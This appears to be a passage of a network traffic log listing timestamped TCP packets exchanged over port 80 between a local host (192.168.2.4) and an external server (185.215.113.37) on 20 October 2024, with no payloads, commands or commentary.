Oct 20, 2024 06:40:20.642025948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642034054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642038107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642050028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642060041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642060995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642086983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642103910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642170906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642182112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642194033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642205954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642218113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642227888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642229080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642245054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642257929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642261982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642278910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642302990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642316103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642326117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642335892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642348051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642358065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642363071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642373085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642379999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642385006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642398119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642406940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642412901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642416954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642426968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642430067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642440081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642450094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642451048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642477036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642492056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642501116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642502069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642514944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642527103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642535925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642539978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642549992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642560005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642564058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642581940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642604113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642618895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642632008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642662048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642671108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642694950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.642963886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643032074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643074989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643147945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643158913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643176079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643193007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643207073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643213987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643224955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643237114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643254042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643263102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643265963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643290997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643313885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643352032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643367052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643378019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643398046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643407106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643409014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643420935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643431902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643433094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643450975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643459082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643482924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643498898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643511057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643523932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643536091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643537998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643548965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643559933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643564939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643590927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643626928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643639088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643650055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643661976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643667936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643672943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643683910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643685102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643697023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643707991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643718004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643719912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643732071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643744946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.643749952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643769979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.643785954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644073009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644083977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644094944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644108057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644118071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644119978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644131899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644145012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644145012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644156933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644161940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644169092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644180059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644186020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644191980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644203901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644213915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644226074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644229889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644237995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644253016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644263983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644270897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644275904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644287109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644294977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644299030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644310951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644321918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644325018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644334078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644345999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644356966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644361019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644361019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644370079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644381046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644392967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644393921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644404888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644414902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644422054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644427061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644438982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644438982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644450903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644458055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644463062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644474030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644474983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644489050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644500017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644526005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644696951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644707918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644721031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644733906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644733906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644746065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644757032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644764900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644767046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644779921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644790888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644792080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644802094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644805908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644815922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644829035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644834042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644850016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644857883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644861937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644872904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644875050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644884109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644896984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644900084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644908905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644920111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644932032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644932032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644947052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644958973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644961119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644970894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644982100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.644984961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.644994974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645001888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645005941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645018101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645018101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645030022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645041943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645042896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645052910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645065069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645071983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645077944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645087957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645090103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645101070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645114899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645116091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645127058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645138979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645140886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645158052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645173073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645204067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645214081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645224094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645236969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645246983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645248890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645278931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645287037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645291090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645303965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645313978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645318031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645339012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645365000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645430088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645441055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645452976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645462036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645473003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645481110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645490885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645505905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645507097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645519018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645529985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645531893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645545959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645559072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645575047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645581961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645591974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645601988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645615101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645620108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645627022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645639896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645641088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645652056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645663977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645664930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645703077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645756006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645766973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645777941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645790100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645796061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645802975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645813942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645817995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645827055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645839930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645843029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645849943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645862103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645864964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645873070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645879030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645889997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645903111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645910978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645922899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645936012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645937920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645948887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.645960093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.645986080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646055937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646066904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646078110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646090984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646101952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646104097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646116018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646126986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646138906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646138906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646151066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646162987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646163940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646179914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646207094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646218061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646229982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646241903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646253109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646255970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646282911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646282911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646295071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646306038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646316051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646317005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646330118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646339893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646342039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646352053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646364927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646369934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646375895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646388054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646388054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646414042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646420956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646433115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646436930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646444082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646465063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646476984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646486998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646490097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646490097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646498919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646512032 CEST	80	49730	185.215.113.37	192.168.2.4
